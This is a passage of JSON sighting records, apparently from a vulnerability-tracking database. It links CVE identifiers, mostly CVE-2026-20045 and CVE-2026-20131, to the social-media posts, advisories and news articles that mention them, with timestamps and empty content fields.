"https://bsky.app/profile/helpnetsecurity.com/post/3mcxbsarxls2d", "content": "", "creation_timestamp": "2026-01-21T18:17:43.553230Z"}, {"uuid": "5afdc857-51ea-4f6e-89fc-3654afb466d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-048", "content": "", "creation_timestamp": "2026-01-21T18:28:13.000000Z"}, {"uuid": "e01fd5a8-9309-4529-a09d-471806adc2a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/campuscodi.risky.biz/post/3mcxnciijbc2b", "content": "", "creation_timestamp": "2026-01-21T21:43:35.731729Z"}, {"uuid": "a59ad76c-eb93-4af6-8580-aede0353a19a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/bilaltariq01.bsky.social/post/3mcxp4vjs622y", "content": "", "creation_timestamp": "2026-01-21T22:16:15.476881Z"}, {"uuid": "1e87170c-3883-45b6-b0e7-070f42dc74f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mcxp5kdlyi2x", "content": "", "creation_timestamp": "2026-01-21T22:16:36.904792Z"}, {"uuid": "a42a9563-1de4-4575-8b7a-25c43279decd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/115935401300426593", "content": "", "creation_timestamp": "2026-01-21T22:17:14.246219Z"}, {"uuid": "b5f6818c-a77a-4b7d-9188-6fd47c25ea45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20045", "type": "seen", "source": "https://infosec.exchange/users/defendopsdiaries/statuses/115935445684270585", "content": "", "creation_timestamp": "2026-01-21T22:28:31.241195Z"}, {"uuid": "f23b76e5-a709-4d3c-a479-b522d4b054cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mcxpytkr7m2w", "content": "", "creation_timestamp": "2026-01-21T22:31:52.799362Z"}, {"uuid": "111a6eff-2a26-4d99-9518-dd1a72fca541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mcxqyhw7bz2v", "content": "", "creation_timestamp": "2026-01-21T22:49:34.219519Z"}, {"uuid": "682a96f9-39cc-4da8-a0b5-b0518425fba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mcxrlzdqgk2v", "content": "", "creation_timestamp": "2026-01-21T23:00:30.702027Z"}, {"uuid": "66b51e92-cd35-41af-bedd-dd20c5f801d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mcxvw4zcer2e", "content": "", "creation_timestamp": "2026-01-22T00:17:45.005183Z"}, {"uuid": "9a4b8069-92dd-47bb-adcf-3944fb3f153a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mcxy7jhk2222", "content": "", "creation_timestamp": "2026-01-22T00:58:46.797391Z"}, {"uuid": "9e4f2c69-e8ca-40f0-9f56-a69fa90913cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mcy56l7tk42l", "content": "", "creation_timestamp": "2026-01-22T02:27:43.864978Z"}, {"uuid": "7ebc39c4-7142-4426-9619-a4775ab7d9cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mcycbu7pqy2y", "content": "", "creation_timestamp": "2026-01-22T03:59:03.542794Z"}, {"uuid": "9d22afd8-630d-41de-a7ec-69a35fa316b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mcycfhbkrv2w", "content": "", "creation_timestamp": "2026-01-22T04:01:03.817975Z"}, {"uuid": "125f0b86-a4d7-4dc1-859a-5a5ac614a19f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/cybersentinel404.bsky.social/post/3mcyecippbf2r", "content": "", "creation_timestamp": "2026-01-22T04:35:11.746827Z"}, {"uuid": "32390735-d0cf-4d7c-8e7b-34ec6b6d213b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mcyf5av6uc2o", "content": "", "creation_timestamp": "2026-01-22T04:50:09.902707Z"}, {"uuid": "3ba49a27-2beb-4d07-b395-5b185292ab7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mcyffowd4x2b", "content": "", "creation_timestamp": "2026-01-22T04:54:52.919974Z"}, {"uuid": "0235519d-e29a-4186-90c6-12d3ed5159fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/techit.bsky.social/post/3mcyfoz26pz2u", "content": "", "creation_timestamp": "2026-01-22T05:00:07.524407Z"}, {"uuid": "6c354c6f-8c34-451e-96a2-1b7f5fabafb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mcyfts56a72h", "content": "", "creation_timestamp": "2026-01-22T05:02:46.111677Z"}, {"uuid": "fe41822b-3ec8-46de-86b0-d34fb43d1228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3mcyi23usts2v", "content": "", "creation_timestamp": "2026-01-22T05:42:06.722761Z"}, {"uuid": "c7a67675-9ea4-4787-9e1a-26a1cb438a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mcyo33efqk2h", "content": "", "creation_timestamp": "2026-01-22T07:30:09.801900Z"}, {"uuid": "d30e0736-b843-4fad-94f0-31fa5c60c5be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mcypj4lzh22h", "content": "", "creation_timestamp": "2026-01-22T07:55:45.835192Z"}, {"uuid": "270d4989-0ce2-4563-9634-b1909f6f0cc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://thehackernews.com/2026/01/cisco-fixes-actively-exploited-zero-day.html", "content": "", "creation_timestamp": "2026-01-22T03:06:00.000000Z"}, {"uuid": "7ddcc56e-c1ba-47c4-a1e3-3a5a4b2a2dae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://gist.github.com/Darkcrai86/3c918180be6f6815cafe38ee3eb49656", "content": "", "creation_timestamp": "2026-01-22T08:55:27.000000Z"}, {"uuid": "ffdbfffc-bbe6-42ee-90ed-32a7b8e7966d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mcyt3cg2dc2w", "content": "", "creation_timestamp": "2026-01-22T08:59:48.498968Z"}, {"uuid": "67b4e0fc-c3d6-43ba-ba2a-5316355f9b7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mcyt3eymvs2w", "content": "", "creation_timestamp": "2026-01-22T08:59:49.010805Z"}, {"uuid": "4741c92b-e0d4-4425-b0f6-88dfb047bad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mcyt3islas2w", "content": "", "creation_timestamp": "2026-01-22T08:59:49.528932Z"}, {"uuid": "9d8d7edb-8d3a-4e6c-b63b-f6d4eaada15a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mcyv7bv5v5m2", "content": "", "creation_timestamp": "2026-01-22T09:38:38.016567Z"}, {"uuid": "1af8bd97-0ec0-45b8-9bf2-063d5af72a98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://threatintel.cc/2026/03/18/cisco-firewall-day-vulnerability-exploited.html", "content": "", "creation_timestamp": "2026-03-18T20:13:32.000000Z"}, {"uuid": "37254206-eef1-4bf9-bbb5-ce5e26877764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://www.cert.se/2026/03/cert-se-veckobrev-v12.html", "content": "", "creation_timestamp": "2026-03-20T13:18:00.000000Z"}, {"uuid": "8ac0ab65-9a8f-4fe3-968f-1c5bc1c5eb2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20657", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "fbcc4414-e277-4464-bba1-f540e9c7a887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mi4x3qpjcs2p", "content": "", "creation_timestamp": "2026-03-28T15:28:04.434844Z"}, {"uuid": "073b015c-3720-4891-aad1-46825b64cc87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://www.cert.se/2026/03/cert-se-veckobrev-v12.html", "content": "", "creation_timestamp": "2026-03-20T13:18:00.000000Z"}, {"uuid": "9d732b42-5d24-4e72-a853-4fc248e04778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116291079560098081", "content": "", "creation_timestamp": "2026-03-25T17:50:53.890245Z"}, {"uuid": "3b5a2e69-7f86-49ce-9108-55bd87a47b9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mhrpajcku62u", "content": "", "creation_timestamp": "2026-03-24T04:08:16.309732Z"}, {"uuid": "2fa3151e-886d-4915-ba9c-40ec6a6ec36f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhj4ykbz672n", "content": "", "creation_timestamp": "2026-03-20T18:20:23.652167Z"}, {"uuid": "ab0e4f04-d911-4a90-b7de-5dbd0d3640a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/tamosan.bsky.social/post/3mhep6f6ro2jq", "content": "", "creation_timestamp": "2026-03-19T00:02:29.206473Z"}, {"uuid": "ac5ac093-7098-4d6f-a965-e2feb1210f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20719", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvoul7nh624", "content": "", "creation_timestamp": "2026-03-25T18:12:14.603163Z"}, {"uuid": "f2e70ea1-9bee-440a-a97b-85ea47f48f7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-attivo-di-vulnerabilita-in-prodotti-cisco-1", "content": "", "creation_timestamp": "2026-01-22T08:24:27.000000Z"}, {"uuid": "ead435e0-e3b6-4c84-9784-1e297f343274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mcz244fbiv26", "content": "", "creation_timestamp": "2026-01-22T11:05:19.604406Z"}, {"uuid": "2a782e2c-a191-4f9f-b320-59b124042fcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mcz2exqdxv2f", "content": "", "creation_timestamp": "2026-01-22T11:10:17.021994Z"}, {"uuid": "45bf0a6b-038a-4525-afd5-4d5ef1f92b5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcz7p2kv552j", "content": "", "creation_timestamp": "2026-01-22T12:45:23.954549Z"}, {"uuid": "0a706136-f828-4e7d-9ab7-41a3340b2b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mczfjhyevw2h", "content": "", "creation_timestamp": "2026-01-22T14:29:40.035624Z"}, {"uuid": "9d67790f-bf28-4d5a-b12d-1d66f355e8ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/hack4career.com/post/3mczgno5mv42f", "content": "", "creation_timestamp": "2026-01-22T14:49:54.146450Z"}, {"uuid": "ac7352c5-ff60-4b07-847a-752539f617dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20045", "type": "seen", "source": "https://infosec.exchange/users/threatcodex/statuses/115939312349117011", "content": "", "creation_timestamp": "2026-01-22T14:51:51.554852Z"}, {"uuid": "3bf073da-12eb-4b56-83c6-5a916010221b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mczi7zb6bw2n", "content": "", "creation_timestamp": "2026-01-22T15:18:04.596518Z"}, {"uuid": "f82efee0-7364-43dc-b267-f890fad0a073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mczn2xyt6c2z", "content": "", "creation_timestamp": "2026-01-22T16:44:43.762588Z"}, {"uuid": "f19d3bef-cd03-4414-813e-a0357c82b75b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/deciphersec.bsky.social/post/3mcznhx43bs2t", "content": "", "creation_timestamp": "2026-01-22T16:52:00.261070Z"}, {"uuid": "60555627-e36e-44a0-91c3-bbaa92b61e95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mczpbypnmk2p", "content": "", "creation_timestamp": "2026-01-22T17:24:31.141767Z"}, {"uuid": "d6033d31-c04e-40af-815f-79dc77dd9e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mczqqq2uus2m", "content": "", "creation_timestamp": "2026-01-22T17:50:34.131952Z"}, {"uuid": "ebb83c1c-23f2-48aa-b569-3707e18849b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mczsajalvp2k", "content": "", "creation_timestamp": "2026-01-22T18:17:17.383053Z"}, {"uuid": "ef7da889-1996-4a2c-ba99-dc5f1050cc83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mczttxrzso2g", "content": "", "creation_timestamp": "2026-01-22T18:46:04.621754Z"}, {"uuid": "08e6672d-bb76-4f90-8f25-9eb3f45714f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mczwmrrbew2c", "content": "", "creation_timestamp": "2026-01-22T19:35:44.333836Z"}, {"uuid": "1e8cdf79-2b02-4cef-8bca-3a9062fa8262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3md23ivzg5w2i", "content": "", "creation_timestamp": "2026-01-22T21:03:04.236241Z"}, {"uuid": "501a5cc2-1817-4ac4-80db-e264b26f6b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3md27ebpij22m", "content": "", "creation_timestamp": "2026-01-22T22:12:02.532582Z"}, {"uuid": "abc08b65-bc38-493e-8b1b-b157060b5680", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md27yyamzs2q", "content": "", "creation_timestamp": "2026-01-22T22:23:40.052361Z"}, {"uuid": "fce42f6f-24da-4d4a-bb3c-3d508324e5b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md2a53e2ws2q", "content": "", "creation_timestamp": "2026-01-22T22:25:56.811554Z"}, {"uuid": "3951693c-6eff-458b-af7a-ce897ec8cd00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md2bjo6ibk2q", "content": "", "creation_timestamp": "2026-01-22T22:50:52.301066Z"}, {"uuid": "f2b93ca0-2686-4202-9df1-d58ebc5f6ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md2bxbrwrk2q", "content": "", "creation_timestamp": "2026-01-22T22:58:28.216398Z"}, {"uuid": "03cb6bdf-6c9a-4954-a7ce-76ee75a53e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md2cbrkosk2q", "content": "", "creation_timestamp": "2026-01-22T23:04:20.544059Z"}, {"uuid": "bad1fc78-e8d5-4184-8863-1b22051a5653", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md2cbrtuqs2q", "content": "", "creation_timestamp": "2026-01-22T23:04:21.515881Z"}, {"uuid": "fb7dd323-2eb6-49dc-bb97-898e3544e3c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md2ccprjbs2q", "content": "", "creation_timestamp": "2026-01-22T23:04:54.530237Z"}, {"uuid": "ea2e2abf-af1f-4cfe-ad45-52a2c30a7594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20888", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2cn4pklo2n", "content": "", "creation_timestamp": "2026-01-22T23:10:40.119466Z"}, {"uuid": "d5e23ecc-b7d0-48de-836c-4c8410f4c4f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20750", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2cpxf6h42c", "content": "", "creation_timestamp": "2026-01-22T23:12:15.307337Z"}, {"uuid": "3b646661-8211-4e2c-9941-5de54d8f8690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20904", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2csx3cvu2i", "content": "", "creation_timestamp": "2026-01-22T23:13:55.602133Z"}, {"uuid": "0fc2be5a-600c-4b78-a7e4-35b3889ad2db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3md2cusfsrc2m", "content": "", "creation_timestamp": "2026-01-22T23:14:57.711425Z"}, {"uuid": "2bace302-2827-45d6-a94f-e0182f9bc9bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20897", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2cw4foce2i", "content": "", "creation_timestamp": "2026-01-22T23:15:41.642334Z"}, {"uuid": "370cd346-a1b0-4296-882b-590ea41d121c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md2d7z53ok2d", "content": "", "creation_timestamp": "2026-01-22T23:21:17.658032Z"}, {"uuid": "5f6ae570-c314-40ab-a5e1-09c418bc4cac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20800", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2davrgmg26", "content": "", "creation_timestamp": "2026-01-22T23:21:43.775366Z"}, {"uuid": "52b84f99-e169-4616-b487-2dbe8d6b3624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20912", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2dtxf2q72n", "content": "", "creation_timestamp": "2026-01-22T23:32:23.122439Z"}, {"uuid": "9455b289-b5e0-4319-92f6-25da691fb44d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20736", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2eicyddn2h", "content": "", "creation_timestamp": "2026-01-22T23:43:46.482758Z"}, {"uuid": "36bc2e43-10f7-49d5-8139-bb5eb938eddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20883", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2fd6bm2t2n", "content": "", "creation_timestamp": "2026-01-22T23:58:47.494485Z"}, {"uuid": "2b0533c6-527a-4f35-b644-4840b7efc735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 